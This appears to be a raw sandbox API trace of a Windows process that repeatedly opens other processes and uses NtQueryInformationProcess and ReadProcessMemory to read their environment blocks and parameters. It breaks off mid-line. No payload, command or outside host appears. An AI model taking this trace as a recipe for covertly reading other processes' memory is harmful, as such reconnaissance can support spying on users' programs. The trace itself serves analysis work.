GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.086] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.116] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x330 [0182.116] GetLastError () returned 0x0 [0182.117] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.117] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x58b018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.117] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.117] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.117] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc237c1c0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.119] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.120] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.120] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x58b020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.120] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.121] malloc (_Size=0x64) returned 0x20abc2807d0 [0182.121] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0182.121] free (_Block=0x20abc2807d0) [0182.123] CloseHandle (hObject=0x330) returned 1 [0182.123] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0182.128] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4260") returned 4 [0182.129] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.129] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.159] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x330 [0182.159] GetLastError () returned 0x0 [0182.159] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.159] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x393018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.159] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.159] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x561d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.160] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5618f8, lpBuffer=0x2dc237c1c0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.161] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.162] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.162] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x393020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.162] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5612e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.162] malloc (_Size=0x76) returned 0x20abc282120 [0182.162] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x561966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0182.163] free (_Block=0x20abc282120) [0182.164] CloseHandle (hObject=0x330) returned 1 [0182.164] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0182.169] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4268") returned 4 [0182.171] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.171] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.202] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x330 [0182.202] GetLastError () returned 0x0 [0182.203] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.203] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2cd018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.203] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.203] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x481c70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.203] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4818f8, lpBuffer=0x2dc237c1c0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.204] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.206] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.206] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2cd020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.206] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4812e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.206] malloc (_Size=0x46) returned 0x20abc27ce40 [0182.206] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x481936, lpBuffer=0x20abc27ce40, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27ce40*, lpNumberOfBytesRead=0x0) returned 1 [0182.207] free (_Block=0x20abc27ce40) [0182.208] CloseHandle (hObject=0x330) returned 1 [0182.209] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0182.213] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4280") returned 4 [0182.214] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.214] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.231] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x330 [0182.231] GetLastError () returned 0x0 [0182.232] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.265] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x348018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.265] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.265] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x421ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.265] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4218f8, lpBuffer=0x2dc237c1c0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.266] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.267] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.267] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x348020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.268] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4212e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.268] malloc (_Size=0x6c) returned 0x20abc2831b0 [0182.268] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x42195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0182.268] free (_Block=0x20abc2831b0) [0182.269] CloseHandle (hObject=0x330) returned 1 [0182.269] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0182.273] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4296") returned 4 [0182.274] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.274] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.289] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x330 [0182.289] GetLastError () returned 0x0 [0182.289] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.290] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x581018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.290] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.290] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x291cb0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.290] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2918f8, lpBuffer=0x2dc237c1c0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.291] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.292] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.292] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x581020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.293] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2912e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.293] malloc (_Size=0x60) returned 0x20abc2807d0 [0182.293] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x291950, lpBuffer=0x20abc2807d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0182.294] free (_Block=0x20abc2807d0) [0182.295] CloseHandle (hObject=0x330) returned 1 [0182.295] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0182.299] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4316") returned 4 [0182.300] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.300] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x330 [0182.316] GetLastError () returned 0x0 [0182.317] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.317] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2c5018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.317] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.317] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.317] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4518f8, lpBuffer=0x2dc237c1c0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.318] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.319] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.319] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2c5020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.319] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.319] malloc (_Size=0x76) returned 0x20abc282120 [0182.319] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0182.321] free (_Block=0x20abc282120) [0182.321] CloseHandle (hObject=0x330) returned 1 [0182.322] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0182.325] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4348") returned 4 [0182.335] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.335] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.348] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x330 [0182.348] GetLastError () returned 0x0 [0182.348] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.348] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4526018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.348] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.349] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.349] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc237c1c0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.350] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.351] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.351] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4526020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.351] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.351] malloc (_Size=0xba) returned 0x20abc2867b0 [0182.351] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc2867b0, nSize=0xb8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0182.352] free (_Block=0x20abc2867b0) [0182.352] CloseHandle (hObject=0x330) returned 1 [0182.353] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0182.356] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4520") returned 4 [0182.368] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0182.368] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0182.381] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x330 [0182.381] GetLastError () returned 0x0 [0182.381] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0182.382] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0182.382] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0182.382] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0182.382] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc237c1c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0182.382] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0182.383] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0182.383] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0182.384] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0182.384] malloc (_Size=0x76) returned 0x20abc282120 [0182.384] ReadProcessMemory (in: 